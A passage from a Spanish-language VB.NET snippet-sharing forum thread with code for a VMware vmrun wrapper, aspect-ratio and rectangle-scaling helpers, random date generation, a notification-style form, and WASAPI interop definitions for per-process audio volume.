  334.                refSharedFoldersDict(key).Name = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  335.  
  336.            Case line.ToLower() Like "sharedfolder#*.hostpath*"
  337.                refSharedFoldersDict(key).HostDirectory = New DirectoryInfo(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  338.  
  339.            Case line.ToLower() Like "sharedfolder#*.readaccess*"
  340.                refSharedFoldersDict(key).ReadAccess = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  341.  
  342.            Case line.ToLower() Like "sharedfolder#*.writeaccess*"
  343.                refSharedFoldersDict(key).WriteAccess = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  344.  
  345.        End Select
  346.  
  347.    End Sub
  348.  
  349. #End Region
  350.  
  351. End Class

VMRunWrapper.vb

El código es demasiado largo como para poder insertarlo en este post, así que les dejo un enlace a pastebin...

https://pastebin.com/AWieMiSG

Código mejorado con funciones asincrónicas:
https://pastebin.com/EXS0MQRR

Un pequeño fallo de formato de sintaxis ha sido corregido en el método "InstallVmWareTools":
  • https://pastebin.com/F2mSNq6g



Un ejemplo de uso cualquiera:

Código
  1. '***********************************************************************************************************************************
  2. '
  3. 'This is a code example that demonstrates how to get the running virtual machines, then run a program on each guest operating system.
  4. '
  5. '***********************************************************************************************************************************
  6.  
  7. Private vmRun As VmRunWrapper
  8.  
  9. Private Async Sub Test()
  10.  
  11.    Me.vmRun = New VmRunWrapper("C:\Program Files (x86)\VMWare\VMware VIX\vmrun.exe")
  12.  
  13.    Dim vmCount As Integer = Await Me.vmRun.GetRunningVmCountAsync()
  14.    If (vmCount > 0) Then
  15.  
  16.        Dim vms As ReadOnlyCollection(Of VMWareVirtualMachine) = Await Me.vmRun.GetRunningVmsAsync()
  17.  
  18.        For Each vm As VMWareVirtualMachine In vms
  19.  
  20.            ' Check whether VMWare-Tools are installed in the VM.
  21.            ' The VmWare-Tools are required by some of the functionalities of vmrun.exe program.
  22.            Dim isVMWareToolsInstalled As Boolean = Await Me.vmRun.IsVmWareToolsInstalledAsync(vm)
  23.            Console.WriteLine("VM Name: {0}; IsVMWareToolsInstalled: {1}'", vm.DisplayName, isVMWareToolsInstalled)
  24.  
  25.            If Not isVMWareToolsInstalled Then
  26.                Me.vmRun.InstallVmWareTools(vm)
  27.                Continue For
  28.            End If
  29.  
  30.            ' A valid guest username and password (if any) is required in order to use some of the functionalities of vmrun.exe program.
  31.            vm.GuestOsCredential.Username = "guest username"
  32.            vm.GuestOsCredential.Password = "guest password"
  33.  
  34.            Try
  35.                ' Run a random program on the guest operating system.
  36.                Me.vmRun.ProcessRun(vm, "C:\program.exe", VmRunProgramFlags.NoWait Or VmRunProgramFlags.ActiveWindow Or VmRunProgramFlags.Interactive, "")
  37.  
  38.            Catch ex As VmRunException
  39.                Throw
  40.  
  41.            Catch ex As Exception
  42.                Throw
  43.  
  44.            End Try
  45.  
  46.        Next
  47.  
  48.    End If
  49.  
  50. End Sub


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: enipx en 8 Mayo 2018, 16:19 pm
Hello, @Electro Actually i saw your works and i was very impressed and i want you to take part in a project based on vb.net and c#, It will be a pleasure if you give me maybe your Whatsapp or Skype contact so we can talk more, I have private message you can check your inbox


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Serapis en 9 Mayo 2018, 01:47 am
¿Cómo interoperar entre el sistema operativo huésped de una máquina virtual de VMWare, y el sistema operativo anfitrión?.
...
Como único inconveniente debo aclarar que este sistema no soporta máquinas virtuales compartidas (esas que podemos colocar en el directorio del usuario público como recurso compartido de red), y esta limitación es simplemente por pura ignorancia, ya que no he logrado averiguar la sintaxis correcta de vmrun para indicarle que el host es LOCALHOST, siempre que lo intento (ej. vmrun.exe -T ws-shared -h LOCALHOST ... ) el programa me dice que no ha logrado conectar con el servidor xD, así que si alguien sabe cual es la sintaxis le agradecería que me lo dijese para poder adaptar y mejorar este código.
...
Una búsqeuda rápida me ofrece este pdf, que puede servirte... (no lo he descargado).
https://www.vmware.com/support/developer/vix-api/vix170_vmrun_command.pdf


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 9 Mayo 2018, 07:48 am
Una búsqeuda rápida me ofrece este pdf, que puede servirte... (no lo he descargado).
https://www.vmware.com/support/developer/vix-api/vix170_vmrun_command.pdf

Gracias @NEBIRE, pero te puedes imaginar que yo también estuve buscando y encontré el mismo PDF en Google :P, lamentablemente no me ayudó.

Gracias de nuevo.



TL;DR (Too Long; Didn't Don't Read):

Por cierto, quiero aclarar que no suelo apoyar nunca el hecho de depender en el uso de aplicaciones command-line, considero que el auténtico reto sería crear un wrapper de la librería nativa vix.dll en .NET, pero a ver quien tiene los c@jones de hacerlo... con la inmensa cantidad de miembros y funciones exportadas a implementar que tiene, y teniendo en cuenta que en cada release de VMWare modifican cosas y quedan algunos miembros obsoletos y otros nuevos, o que reemplacen la librería por una nueva donde la anterior queda completamente inservible (como sucedió con vixcom.dll). Sería un trabajo en vano, una absurda pérdida de tiempo.

Nah, mucho más viable, seguro y estable es recurrir al uso del programita/wrapper vmrun.exe, que aunque inevitablemente sea bastante más lento en términos de tiempo de ejecución (puesto que es un executable), al menos su estructura "no cambia" con el tiempo, por que ya se encargan los de VMWare de adaptar el programa para que funcione (obvio) con los nuevos cambios que introduzcan a la librería vix.dll, y nosotros como usuarios o programadores en el peor de los casos solo necesitariamos hacer un par de adaptaciones en la sintaxis de los argumentos a enviar a vmrun.exe y todo listo para funcionar con nuevas releases de VMWare.

Claro que, para los que puedan programar diréctamente en C/C++ ya sería otro cantar... aunque seguiría siendo bastante tedioso usar la librería (no hay más que mirar los samples de código que provee VMWare en el directorios de la API de VIX, 200 lineas de código solo para ejecutar una operación de encendido y/o apagado de la VM), pero bueno, programando en C/C++ supongo que sería más aceptable usar la librería vix.dll en lugar de usar vmrun.exe, supongo.

saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2018, 14:23 pm
Determinar si un tamaño/resolución pertenece a una relación de aspecto específica.

No creo que haya nada que añadir a la descripción. Solo diré que la utilidad que le encuentro a esto personálmente es para realizar con mayor seguridad en operaciones de captura de imagen en ventanas externas (para evitar posibles fallos humanos de especificar una resolución incorrecta).

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Determine whether the source resolution belongs to the specified aspect ratio.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <param name="resolution">
  7. ''' The source resolution.
  8. ''' </param>
  9. '''
  10. ''' <param name="aspectRatio">
  11. ''' The aspect ratio.
  12. ''' </param>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. ''' <returns>
  15. ''' <see langword="True"/> if the source resolution belongs to the specified aspect ratio; otherwise, <see langword="False"/>.
  16. ''' </returns>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. Public Shared Function ResolutionIsOfAspectRatio(ByVal resolution As Size, ByVal aspectRatio As Point) As Boolean
  19.  
  20.    Return (resolution.Width / aspectRatio.X) * aspectRatio.Y = resolution.Height
  21.  
  22. End Function
  23.  

Ejemplo de uso:

Código
  1. Dim resolution As New Size(width:=1920, height:=1080)
  2. Dim aspectRatio As New Point(x:=16, y:=9)
  3.  
  4. Dim result As Boolean = ResolutionIsOfAspectRatio(resolution, aspectRatio)
  5.  
  6. Console.WriteLine(result)



Escalar/Adaptar la posición y tamaño de un Rectangle, según el factor de porcentage resultante entre la diferencia de dos tamaños.

Para que lo entiendan mejor:

Imaginemos que tenemos un Rectangle con posición (X,Y): 100,100 y tamaño (width,height): 100,100, y esos valores han sido especificados así para ser usado sobre una superficie de 800x600. Por ejemplo podemos decir que se trata de un Rectangle que sirve para capturar una porción específica de una ventana que tenga ese tamaño, 800x600.

Pues bien, lo que hace esta función es adaptar la posición y el tamaño de ese Rectangle, a un tamaño/superficie diferente, por ejemplo adaptarlo de 800x600 a 1024x1024.

Espero que se haya entendido bien, de todas formas abajo les dejo un ejemplo de como usarlo...

Código
  1.    Public Module RectangleExtensions
  2.  
  3. #Region " Public Extension Methods "
  4.  
  5.        ''' ----------------------------------------------------------------------------------------------------
  6.        ''' <summary>
  7.        ''' Scale the size and position of the source <see cref="Rectangle"/>
  8.        ''' by the difference of the specified sizes.
  9.        ''' </summary>
  10.        ''' ----------------------------------------------------------------------------------------------------
  11.        ''' <param name="sender">
  12.        ''' The source <see cref="Rectangle"/>.
  13.        ''' </param>
  14.        '''
  15.        ''' <param name="fromSize">
  16.        ''' The source <see cref="Size"/>.
  17.        ''' </param>
  18.        '''
  19.        ''' <param name="toSize">
  20.        ''' The target <see cref="Size"/>.
  21.        ''' </param>
  22.        ''' ----------------------------------------------------------------------------------------------------
  23.        ''' <returns>
  24.        ''' The resulting <see cref="Rectangle"/>.
  25.        ''' </returns>
  26.        ''' ----------------------------------------------------------------------------------------------------
  27.        <DebuggerStepThrough>
  28.        <Extension>
  29.        <EditorBrowsable(EditorBrowsableState.Always)>
  30.        Public Function ScaleBySizeDifference(ByVal sender As Rectangle,
  31.                                              ByVal fromSize As Size,
  32.                                              ByVal toSize As Size) As Rectangle
  33.  
  34.            Dim percentChangeX As Double = (toSize.Width / fromSize.Width)
  35.            Dim percentChangeY As Double = (toSize.Height / fromSize.Height)
  36.  
  37.            Return New Rectangle With {
  38.                    .X = CInt(sender.X * percentChangeX),
  39.                    .Y = CInt(sender.Y * percentChangeY),
  40.                    .Width = CInt(sender.Width * percentChangeX),
  41.                    .Height = CInt(sender.Height * percentChangeY)
  42.                }
  43.  
  44.        End Function
  45.  
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        ''' <summary>
  48.        ''' Scale the size and position of the source <see cref="RectangleF"/>
  49.        ''' by the difference of the specified sizes.
  50.        ''' </summary>
  51.        ''' ----------------------------------------------------------------------------------------------------
  52.        ''' <param name="sender">
  53.        ''' The source <see cref="RectangleF"/>.
  54.        ''' </param>
  55.        '''
  56.        ''' <param name="fromSize">
  57.        ''' The source <see cref="SizeF"/>.
  58.        ''' </param>
  59.        '''
  60.        ''' <param name="toSize">
  61.        ''' The target <see cref="SizeF"/>.
  62.        ''' </param>
  63.        ''' ----------------------------------------------------------------------------------------------------
  64.        ''' <returns>
  65.        ''' The resulting <see cref="RectangleF"/>.
  66.        ''' </returns>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        <DebuggerStepThrough>
  69.        <Extension>
  70.        <EditorBrowsable(EditorBrowsableState.Always)>
  71.        Public Function ScaleBySizeDifference(ByVal sender As RectangleF,
  72.                                              ByVal fromSize As SizeF,
  73.                                              ByVal toSize As SizeF) As RectangleF
  74.  
  75.            Dim percentChangeX As Double = (toSize.Width / fromSize.Width)
  76.            Dim percentChangeY As Double = (toSize.Height / fromSize.Height)
  77.  
  78.            Return New RectangleF With {
  79.                .X = CSng(sender.X * percentChangeX),
  80.                .Y = CSng(sender.Y * percentChangeY),
  81.                .Width = CSng(sender.Width * percentChangeX),
  82.                .Height = CSng(sender.Height * percentChangeY)
  83.            }
  84.  
  85.        End Function
  86.  
  87. #End Region
  88.  
  89.    End Module

Ejemplo de uso:

Código
  1. Dim oldSize As New Size(640, 480)
  2. Dim oldRect As New Rectangle(New Point(100, 100), New Size(639, 479))
  3.  
  4. Dim newSize As New Size(800, 600)
  5. Dim newRect As Rectangle = ScaleBySizeDifference(oldRect, oldSize, newSize)
  6.  
  7. Console.WriteLine(String.Format("oldRect: {0}", oldRect.ToString())) ' {X=100,Y=100,Width=639,Height=479}
  8. Console.WriteLine(String.Format("newRect: {0}", newRect.ToString())) ' {X=125,Y=125,Width=798,Height=598}

Saludos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 24 Mayo 2018, 03:48 am
GENERAR UNA FECHA ALEATORIA, EN UN RANGO ESPECÍFICO.

Sencillos pero prácticos miembros para generar fechas aleatorias. Le encontrarán alguna utilidad.

Código
  1.  
  2.    ''' ----------------------------------------------------------------------------------------------------
  3.    ''' <summary>
  4.    ''' Contains date and time related utilities.
  5.    ''' </summary>
  6.    ''' ----------------------------------------------------------------------------------------------------
  7.    <ImmutableObject(True)>
  8.    Public NotInheritable Class DateTimeUtil
  9.  
  10. #Region " Private Fields "
  11.  
  12.        ''' ----------------------------------------------------------------------------------------------------
  13.        ''' <summary>
  14.        ''' A <see cref="Random"/> instance to generate random secuences of numbers.
  15.        ''' </summary>
  16.        ''' ----------------------------------------------------------------------------------------------------
  17.        Private Shared rng As Random
  18.  
  19. #End Region
  20.  
  21. #Region " Constructors "
  22.  
  23.        ''' ----------------------------------------------------------------------------------------------------
  24.        ''' <summary>
  25.        ''' Prevents a default instance of the <see cref="DateTimeUtil"/> class from being created.
  26.        ''' </summary>
  27.        ''' ----------------------------------------------------------------------------------------------------
  28.        <DebuggerNonUserCode>
  29.        Private Sub New()
  30.        End Sub
  31.  
  32. #End Region
  33.  
  34. #Region " Public Methods "
  35.  
  36.        ''' ----------------------------------------------------------------------------------------------------
  37.        ''' <summary>
  38.        ''' Gets a random <see cref="Date"/> in range between the specified two dates.
  39.        ''' </summary>
  40.        ''' ----------------------------------------------------------------------------------------------------
  41.        ''' <example> This is a code example.
  42.        ''' <code>
  43.        ''' Dim minDate As Date = Date.MinValue
  44.        ''' Dim maxDate As Date = Date.MaxValue
  45.        ''' Dim ramdomDate As Date = GetRandomDateTime(minDate, maxDate)
  46.        '''
  47.        ''' Console.WriteLine(randomDate.ToString())
  48.        ''' </code>
  49.        ''' </example>
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <param name="dateMin">
  52.        ''' The minimum <see cref="Date"/>.
  53.        ''' </param>
  54.        '''
  55.        ''' <param name="dateMax">
  56.        ''' The maximum <see cref="Date"/>.
  57.        ''' </param>
  58.        ''' ----------------------------------------------------------------------------------------------------
  59.        ''' <returns>
  60.        ''' The resulting <see cref="Date"/>.
  61.        ''' </returns>
  62.        ''' ----------------------------------------------------------------------------------------------------
  63.        <DebuggerStepThrough>
  64.        Public Shared Function GetRandomDateTime(ByVal dateMin As Date, ByVal dateMax As Date) As Date
  65.  
  66.            If (DateTimeUtil.rng Is Nothing) Then
  67.                DateTimeUtil.rng = New Random(Seed:=Environment.TickCount)
  68.            End If
  69.  
  70.            ' Generate random date with 00:00:00 time.
  71.            Dim daysRange As Integer = dateMax.Subtract(dateMin).Days
  72.            Dim dt As Date = dateMin.AddDays(DateTimeUtil.rng.Next(daysRange))
  73.  
  74.            ' Generate random time.
  75.            Dim hours As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Hours + 1)
  76.            Dim minutes As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Minutes + 1)
  77.            Dim seconds As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Seconds + 1)
  78.            Dim milliseconds As Integer = DateTimeUtil.rng.Next(dateMax.TimeOfDay.Milliseconds + 1)
  79.  
  80.            ' Return the resulting date.
  81.            Return New Date(dt.Year, dt.Month, dt.Day, hours, minutes, seconds, milliseconds, dt.Kind)
  82.  
  83.        End Function
  84.  
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        ''' <summary>
  87.        ''' Gets a random <see cref="Date"/> in range between <see cref="DateTime.MinValue"/> and the specified date.
  88.        ''' </summary>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        ''' <example> This is a code example.
  91.        ''' <code>
  92.        ''' Dim maxDate As Date = Date.MaxValue
  93.        ''' Dim ramdomDate As Date = GetRandomDateTime(maxDate)
  94.        '''
  95.        ''' Console.WriteLine(randomDate.ToString())
  96.        ''' </code>
  97.        ''' </example>
  98.        ''' ----------------------------------------------------------------------------------------------------
  99.        ''' <param name="dateMax">
  100.        ''' The maximum <see cref="Date"/>.
  101.        ''' </param>
  102.        ''' ----------------------------------------------------------------------------------------------------
  103.        ''' <returns>
  104.        ''' The resulting <see cref="Date"/>.
  105.        ''' </returns>
  106.        ''' ----------------------------------------------------------------------------------------------------
  107.        <DebuggerStepThrough>
  108.        Public Shared Function GetRandomDateTime(ByVal dateMax As Date) As Date
  109.            Return DateTimeUtil.GetRandomDateTime(Date.MinValue, dateMax)
  110.        End Function
  111.  
  112.        ''' ----------------------------------------------------------------------------------------------------
  113.        ''' <summary>
  114.        ''' Gets a random <see cref="Date"/> in range between <see cref="DateTime.MinValue"/> and <see cref="DateTime.MaxValue"/>.
  115.        ''' </summary>
  116.        ''' ----------------------------------------------------------------------------------------------------
  117.        ''' <example> This is a code example.
  118.        ''' <code>
  119.        ''' Dim ramdomDate As Date = GetRandomDateTime()
  120.        '''
  121.        ''' Console.WriteLine(randomDate.ToString())
  122.        ''' </code>
  123.        ''' </example>
  124.        ''' ----------------------------------------------------------------------------------------------------
  125.        ''' <returns>
  126.        ''' The resulting <see cref="Date"/>.
  127.        ''' </returns>
  128.        ''' ----------------------------------------------------------------------------------------------------
  129.        <DebuggerStepThrough>
  130.        Public Shared Function GetRandomDateTime() As Date
  131.            Return DateTimeUtil.GetRandomDateTime(Date.MinValue, Date.MaxValue)
  132.        End Function
  133.  
  134. #End Region
  135.  
  136.    End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: **Aincrad** en 24 Junio 2018, 05:03 am
mi código no es como el de todo los gurus de aquí , pero lo publico para el que le sirva.

Bueno el siguiente código hará que puedan mostrar un formulario en la esquina de la pantalla , como si fuera una notificación.



[EDITADO] (Se ha corregido el error que daba y ahora son menos lineas de código)  ;D

Código
  1. 'Para usarlo
  2. 'FormNotificacion(NOMBRE DE SU FORMULARIO a mostrar)
  3.  
  4.   Private Sub FormNotificacion(ByVal formulario As Object)
  5.        Dim fh As Form = TryCast(formulario, Form)
  6.        fh.ShowInTaskbar = False
  7.        fh.Show()
  8.        fh.Location = New Point(CInt((Screen.PrimaryScreen.WorkingArea.Width / 1) - (formulario.Width / 1)), CInt((Screen.PrimaryScreen.WorkingArea.Height / 1) - (formulario.Height / 1)))
  9.    End Sub




Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 29 Agosto 2018, 03:14 am
¿Cómo silenciar el volumen de un proceso externo y/o cambiar su nivel de volumen?.

El siguiente código contiene varias definiciones nativas de la API de WASAPI, y una clase por nombre "AudioUtil" la cual contiene varios métodos estáticos que sirven como wrappers de esta API para lograr nuestro objetivo de forma sencilla y reutilizable.

Simplemente copiar y pegar directamente todo este bloque de código en una nueva clase:

Código
  1. #Region " Option Statements "
  2.  
  3. Option Strict On
  4. Option Explicit On
  5. Option Infer Off
  6.  
  7. #End Region
  8.  
  9. #Region " Imports "
  10.  
  11. Imports System.ComponentModel
  12. Imports System.Globalization
  13. Imports System.Runtime.InteropServices
  14.  
  15. Imports ElektroKit.Interop.Win32
  16.  
  17. #End Region
  18.  
  19. #Region " Interoperability "
  20.  
  21. Namespace ElektroKit.Interop
  22.  
  23. #Region " Win32 API "
  24.  
  25.    Namespace Win32
  26.  
  27. #Region " EDataFlow "
  28.  
  29.        ''' <summary>
  30.        ''' Defines constants that indicate the direction in which audio data flows between an audio endpoint device and an application.
  31.        ''' </summary>
  32.        ''' <remarks>
  33.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/ne-mmdeviceapi-__midl___midl_itf_mmdeviceapi_0000_0000_0001"/>
  34.        ''' </remarks>
  35.        Public Enum EDataFlow As Integer
  36.            Render
  37.            Capture
  38.            All
  39.            EDataFlow_enum_count
  40.        End Enum
  41.  
  42. #End Region
  43.  
  44. #Region " ERole "
  45.  
  46.        ''' <summary>
  47.        ''' Defines constants that indicate the role that the system has assigned to an audio endpoint device.
  48.        ''' </summary>
  49.        ''' <remarks>
  50.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/ne-mmdeviceapi-__midl___midl_itf_mmdeviceapi_0000_0000_0002"/>
  51.        ''' </remarks>
  52.        Public Enum ERole As Integer
  53.            Console
  54.            Multimedia
  55.            Communications
  56.            ERole_enum_count
  57.        End Enum
  58.  
  59. #End Region
  60.  
  61. #Region " MMDeviceEnumerator "
  62.  
  63.        ''' <summary>
  64.        ''' <c>CLSID_MMDeviceEnumerator</c>.
  65.        ''' </summary>
  66.        <ComImport>
  67.        <Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")>
  68.        Public Class MMDeviceEnumerator
  69.        End Class
  70.  
  71. #End Region
  72.  
  73. #Region " IMMDeviceEnumerator "
  74.  
  75.        ''' <summary>
  76.        ''' Provides methods for enumerating multimedia device resources.
  77.        ''' <para></para>
  78.        ''' In the current implementation of the MMDevice API,
  79.        ''' the only device resources that this interface can enumerate are audio endpoint devices.
  80.        ''' <para></para>
  81.        ''' A client obtains a reference to an <see cref="IMMDeviceEnumerator"/> interface by calling the CoCreateInstance.
  82.        ''' <para></para>
  83.        ''' The device resources enumerated by the methods in the IMMDeviceEnumerator interface are represented as
  84.        ''' collections of objects with <see cref="IMMDevice"/> interfaces.
  85.        ''' <para></para>
  86.        ''' A collection has an IMMDeviceCollection interface.
  87.        ''' The IMMDeviceEnumerator.EnumAudioEndpoints method creates a device collection.
  88.        ''' </summary>
  89.        ''' <remarks>
  90.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/nn-mmdeviceapi-immdeviceenumerator"/>
  91.        ''' </remarks>
  92.        <ComImport>
  93.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  94.        <Guid("A95664D2-9614-4F35-A746-DE8DB63617E6")>
  95.        Public Interface IMMDeviceEnumerator
  96.  
  97.            <EditorBrowsable(EditorBrowsableState.Never)>
  98.            <PreserveSig>
  99.            Function NotImplemented1() As Integer
  100.  
  101.            <PreserveSig>
  102.            Function GetDefaultAudioEndpoint(<[In]> <MarshalAs(UnmanagedType.I4)> ByVal dataFlow As EDataFlow,
  103.                                             <[In]> <MarshalAs(UnmanagedType.I4)> ByVal role As ERole,
  104.                                             <Out> <MarshalAs(UnmanagedType.Interface)> ByRef refDevice As IMMDevice) As Integer
  105.  
  106.            <EditorBrowsable(EditorBrowsableState.Never)>
  107.            Function NotImplemented2() As Integer
  108.  
  109.            <EditorBrowsable(EditorBrowsableState.Never)>
  110.            Function NotImplemented3() As Integer
  111.  
  112.            <EditorBrowsable(EditorBrowsableState.Never)>
  113.            Function NotImplemented4() As Integer
  114.  
  115.        End Interface
  116.  
  117. #End Region
  118.  
  119. #Region " IMMDevice "
  120.  
  121.        ''' <summary>
  122.        ''' Provides methods for enumerating multimedia device resources.
  123.        ''' <para></para>
  124.        ''' In the current implementation of the MMDevice API,
  125.        ''' the only device resources that this interface can enumerate are audio endpoint devices.
  126.        ''' <para></para>
  127.        ''' A client obtains a reference to an <see cref="IMMDeviceEnumerator"/> interface by calling the CoCreateInstance.
  128.        ''' <para></para>
  129.        ''' The device resources enumerated by the methods in the IMMDeviceEnumerator interface are represented as
  130.        ''' collections of objects with <see cref="IMMDevice"/> interfaces.
  131.        ''' <para></para>
  132.        ''' A collection has an IMMDeviceCollection interface.
  133.        ''' The IMMDeviceEnumerator.EnumAudioEndpoints method creates a device collection.
  134.        ''' </summary>
  135.        ''' <remarks>
  136.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/mmdeviceapi/nn-mmdeviceapi-immdevice"/>
  137.        ''' </remarks>
  138.        <ComImport>
  139.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  140.        <Guid("D666063F-1587-4E43-81F1-B948E807363F")>
  141.        Public Interface IMMDevice
  142.  
  143.            <PreserveSig>
  144.            Function Activate(ByRef ref¡d As Guid, ByVal clsCtx As Integer, ByVal activationParams As IntPtr,
  145.                              <MarshalAs(UnmanagedType.IUnknown)> ByRef refInterface As Object) As Integer
  146.  
  147.            <EditorBrowsable(EditorBrowsableState.Never)>
  148.            <PreserveSig>
  149.            Function NotImplemented1() As Integer
  150.  
  151.            <EditorBrowsable(EditorBrowsableState.Never)>
  152.            <PreserveSig>
  153.            Function NotImplemented2() As Integer
  154.  
  155.            <EditorBrowsable(EditorBrowsableState.Never)>
  156.            <PreserveSig>
  157.            Function NotImplemented3() As Integer
  158.  
  159.        End Interface
  160.  
  161. #End Region
  162.  
  163. #Region " IAudioSessionControl "
  164.  
  165.        ''' <summary>
  166.        ''' Enables a client to configure the control parameters for an audio session and to monitor events in the session.
  167.        ''' </summary>
  168.        ''' <remarks>
  169.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessioncontrol"/>
  170.        ''' </remarks>
  171.        <ComImport>
  172.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  173.        <Guid("F4B1A599-7266-4319-A8CA-E70ACB11E8CD")>
  174.        Public Interface IAudioSessionControl
  175.  
  176.            <EditorBrowsable(EditorBrowsableState.Never)>
  177.            <PreserveSig>
  178.            Function NotImplemented1() As Integer
  179.  
  180.            <PreserveSig>
  181.            Function GetDisplayName(<Out> <MarshalAs(UnmanagedType.LPWStr)> ByRef refDisplayName As String) As Integer
  182.  
  183.            <EditorBrowsable(EditorBrowsableState.Never)>
  184.            <PreserveSig>
  185.            Function NotImplemented2() As Integer
  186.  
  187.            <EditorBrowsable(EditorBrowsableState.Never)>
  188.            <PreserveSig>
  189.            Function NotImplemented3() As Integer
  190.  
  191.            <EditorBrowsable(EditorBrowsableState.Never)>
  192.            <PreserveSig>
  193.            Function NotImplemented4() As Integer
  194.  
  195.            <EditorBrowsable(EditorBrowsableState.Never)>
  196.            <PreserveSig>
  197.            Function NotImplemented5() As Integer
  198.  
  199.            <EditorBrowsable(EditorBrowsableState.Never)>
  200.            <PreserveSig>
  201.            Function NotImplemented6() As Integer
  202.  
  203.            <EditorBrowsable(EditorBrowsableState.Never)>
  204.            <PreserveSig>
  205.            Function NotImplemented7() As Integer
  206.  
  207.            <EditorBrowsable(EditorBrowsableState.Never)>
  208.            <PreserveSig>
  209.            Function NotImplemented8() As Integer
  210.  
  211.        End Interface
  212.  
  213. #End Region
  214.  
  215. #Region " IAudioSessionControl2 "
  216.  
  217.        ''' <summary>
  218.        ''' Enables a client to configure the control parameters for an audio session and to monitor events in the session.
  219.        ''' <para></para>
  220.        ''' The IAudioClient.Initialize method initializes a stream object and assigns the stream to an audio session.
  221.        ''' </summary>
  222.        ''' <remarks>
  223.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessioncontrol"/>
  224.        ''' </remarks>
  225.        <ComImport>
  226.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  227.        <Guid("BFB7FF88-7239-4FC9-8FA2-07C950BE9C6D")>
  228.        Public Interface IAudioSessionControl2
  229.  
  230.            <EditorBrowsable(EditorBrowsableState.Never)>
  231.            <PreserveSig>
  232.            Function NotImplemented1() As Integer
  233.  
  234.            <PreserveSig>
  235.            Function GetDisplayName(<Out> <MarshalAs(UnmanagedType.LPWStr)> ByRef refDisplayName As String) As Integer
  236.  
  237.            <EditorBrowsable(EditorBrowsableState.Never)>
  238.            <PreserveSig>
  239.            Function NotImplemented2() As Integer
  240.  
  241.            <EditorBrowsable(EditorBrowsableState.Never)>
  242.            <PreserveSig>
  243.            Function NotImplemented3() As Integer
  244.  
  245.            <EditorBrowsable(EditorBrowsableState.Never)>
  246.            <PreserveSig>
  247.            Function NotImplemented4() As Integer
  248.  
  249.            <EditorBrowsable(EditorBrowsableState.Never)>
  250.            <PreserveSig>
  251.            Function NotImplemented5() As Integer
  252.  
  253.            <EditorBrowsable(EditorBrowsableState.Never)>
  254.            <PreserveSig>
  255.            Function NotImplemented6() As Integer
  256.  
  257.            <EditorBrowsable(EditorBrowsableState.Never)>
  258.            <PreserveSig>
  259.            Function NotImplemented7() As Integer
  260.  
  261.            <EditorBrowsable(EditorBrowsableState.Never)>
  262.            <PreserveSig>
  263.            Function NotImplemented8() As Integer
  264.  
  265.            <EditorBrowsable(EditorBrowsableState.Never)>
  266.            <PreserveSig>
  267.            Function NotImplemented9() As Integer
  268.  
  269.            <EditorBrowsable(EditorBrowsableState.Never)>
  270.            <PreserveSig>
  271.            Function NotImplemented10() As Integer
  272.  
  273.            <PreserveSig>
  274.            Function GetProcessId(<Out> ByRef refValue As UInteger) As Integer
  275.  
  276.            <EditorBrowsable(EditorBrowsableState.Never)>
  277.            <PreserveSig>
  278.            Function NotImplemented11() As Integer
  279.  
  280.            <EditorBrowsable(EditorBrowsableState.Never)>
  281.            <PreserveSig>
  282.            Function NotImplemented12() As Integer
  283.  
  284.        End Interface
  285.  
  286. #End Region
  287.  
  288. #Region " IAudioSessionEnumerator "
  289.  
  290.        ''' <summary>
  291.        ''' Enumerates audio sessions on an audio device.
  292.        ''' </summary>
  293.        ''' <remarks>
  294.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/audiopolicy/nn-audiopolicy-iaudiosessionenumerator"/>
  295.        ''' </remarks>
  296.        <ComImport>
  297.        <InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
  298.        <Guid("E2F5BB11-0570-40CA-ACDD-3AA01277DEE8")>
  299.        Public Interface IAudioSessionEnumerator
  300.  
  301.            <PreserveSig>
  302.            Function GetCount(ByRef refSessionCount As Integer) As Integer
  303.  
  304.            <PreserveSig>
  305.            Function GetSession(ByVal sessionCount As Integer, ByRef refSession As IAudioSessionControl) As Integer
  306.  
  307.        End Interface
  308.  
  309. #End Region
  310.  
